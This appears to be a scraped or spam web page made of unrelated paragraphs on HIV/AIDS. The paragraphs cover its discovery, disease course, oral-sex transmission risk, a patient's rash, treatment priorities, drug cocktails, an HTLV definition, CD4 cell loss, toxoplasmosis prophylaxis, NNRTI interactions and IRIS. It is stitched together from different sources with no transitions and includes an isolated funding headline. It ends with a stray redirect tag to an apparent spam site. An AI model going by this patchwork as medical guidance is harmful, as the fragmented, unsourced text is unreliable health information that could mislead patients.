The first cases of the acquired immune deficiency syndrome (AIDS) were reported in 1981 but it is now clear that cases of the disease had been occurring unrecognized for at least 4 years before its identification. The disease is characterized by a susceptibility to infection with opportunistic pathogens or by the occurrence of an aggressive form of Kaposi’s sarcoma or B-cell lymphoma, accompanied by a profound decrease in the number of CD4 T cells. As it seemed to be spread by contact with body fluids, it was early suspected to be caused by a new virus, and by 1983 the agent now known to be responsible for AIDS, called the human immunodeficiency virus (HIV), was isolated and identified. It is now clear there are at least two types of HIV—HIV-1 and HIV-2—which are closely related to each other. HIV-2 is endemic in West Africa and is now spreading in India. Most AIDS worldwide, however, is caused by the more virulent HIV-1. Both viruses appear to have spread to humans from other primate species and the best evidence from sequence relationships suggests that HIV-1 has passed to humans on at least three independent occasions from the chimpanzee, Pan troglodytes, and HIV-2 from the sooty mangabey, Cercocebus atys.
At this stage in the infection, persons infected with HIV exhibit few or no signs or symptoms for a few years to a decade or more. Viral replication is clearly ongoing during this time,  and the immune response against the virus is effective and vigorous. In some patients, persistent generalized lymphadenopathy is an outward sign of infection. During this time, the viral load, if untreated, tends to persist at a relatively steady state, but the CD4+ T-cell count steadily declines. This rate of decline is related to, but not easily predicted by, the steady-state viral load.
Sexual practices such as fellatio and cunnilingus appear to be relatively low risk but not absolutely safe (see Table: HIV Transmission Risk for Several Sexual Activities). Risk does not increase significantly if semen or vaginal secretions are swallowed. However, open sores in the mouth may increase risk.
“They were like boils, with some itchy pink areas on my arms,” Ron says. The rashes can also appear on the trunk of the body. “If [the rashes] aren’t easily explained or easily treated, you should think about having an HIV test,” Dr. Horberg says.
In areas where antiretroviral drugs are not readily available, doctors may have to decide who should be treated first. People who should be treated first include those who are pregnant, have hepatitis B, or have kidney problems due to HIV infection, regardless of their CD4 count.
Fixing HIV spending: leading AIDS advocates agree that a doubling of federal funding could make a dramatic difference in the fight against the disease, though they diverge when asked how they would allocate the additional money
Sometimes when HIV is resistant to one medicine, another medicine can be used. To make less resistance happen, people with AIDS take more than one medicine at the same time. They may take 2–4 medicines at once. This is sometimes called a cocktail or AIDS cocktail.
human T-lymphotropic virus (HTLV) either of two related species of retroviruses that have an affinity for the helper cell type of T lymphocytes. HTLV-1 causes chronic infection and is associated with adult T-cell leukemia and a type of myelopathy. HTLV-2 has been isolated from an atypical variant of hairy cell leukemia and from patients with other hematological disorders, but no clear association with disease has been established.
HIV infects vital cells in the human immune system such as helper T cells (specifically CD4+ T cells), macrophages, and dendritic cells. HIV infection leads to low levels of CD4+ T cells through a number of mechanisms, including pyroptosis of abortively infected T cells, apoptosis of uninfected bystander cells, direct viral killing of infected cells, and killing of infected CD4+ T cells by CD8+ cytotoxic lymphocytes that recognize infected cells. When CD4+ T cell numbers decline below a level, cell-mediated immunity is lost, and the body becomes progressively more susceptible to opportunistic infections, leading to the development of AIDS.
Richman, Douglas D., David M. Margolis, Martin Delaney, Warner C. Greene, Daria Hazuda, Roger J. Pomerantz. “The Challenge of Finding a Cure for HIV Infection.” Science 323.5919 Mar. 6, 2009: 1304-1307.
Latent toxoplasmosis: This asymptomatic condition is indicated by serum antibodies (IgG) to Toxoplasma gondii. TMP/SMX (in doses used to prevent P. jirovecii pneumonia) is used to prevent reactivation and consequent toxoplasmic encephalitis. Latent infection is less common (about 15% of adults) in the US than in Europe and most developing countries (up to 70 to 80% of adults).
All of the NNRTIs are associated with important drug-drug interactions so they must be used with caution in patients on other medications. There are numerous resources available to patients on these medications to make sure that they do not adversely interact with other HIV or non HIV-related drugs.
In IRIS, symptoms of various infections worsen or appear for the first time because immune responses improve (are reconstituted), increasing inflammation at sites of infection. Symptoms sometimes worsen because parts of dead viruses persist, triggering immune responses. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]